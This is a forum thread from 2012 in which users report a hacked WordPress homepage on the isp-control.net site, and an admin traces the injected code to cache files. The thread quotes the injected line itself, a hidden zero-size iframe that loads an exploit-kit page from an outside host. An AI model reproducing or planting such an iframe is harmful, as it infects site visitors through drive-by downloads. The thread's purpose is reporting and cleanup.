Malicious Software on isp-control.net

[Omegatcu]

On the Homepage is a Web-Exploit-Kit installed.

The malicious code is blocked by most anti-vir programms, but if the visitor don't have one, the exploit will be successful.

You find the malicious code 2-3 lines above:

Code:

</div> <!-- content -->

Please Remove:

Code:

<iframe src="http://globalmin.net/mlt120312d/d6c80532fccf8efb1d885d89cdccad2a/spl.php" width="0" height="0"></iframe><br />

Change passwords to Admin and FTP Accounts and bring Wordpress to the newest version.

If you need any help you can kontakt me: info@solution-work.de

   

[weeming21]

firefox and chrome also prompt me that isp-control.net may harm my computer.

[ephigenie]

yes I'm on it - just i cannot find where he inject it.
The wp is the newest one. The templates are clean...
It's only in the generated cache files ...

sry for that though.

I contact omegatcu maybe he's an idea.

[hnn]

(03-23-2012 04:14 AM)ephigenie Wrote:  yes I'm on it - just i cannot find where he inject it.
The wp is the newest one. The templates are clean...
It's only in the generated cache files ...

sry for that though.

I contact omegatcu maybe he's an idea.

it's not in any remote files? (like file_get_contents or similiar)

[Omegatcu]

plz answer my e-Mail i'm sure i can help

[ephigenie]

hi i answered...

and found the code as well i think... shitty wp.
Btw. nothing to worry - the website DB + forum are strictly separated (and of course different db's ) ...

[ephigenie]

Oh and i just triggered a retest from google - so soon the flag should disappear.

[Omegatcu]

Good Job
Thank you

[Athar]

And it's here again.

Should be great to fix it definitively no?

(See on http://isp-control.net/downloads-2/ page)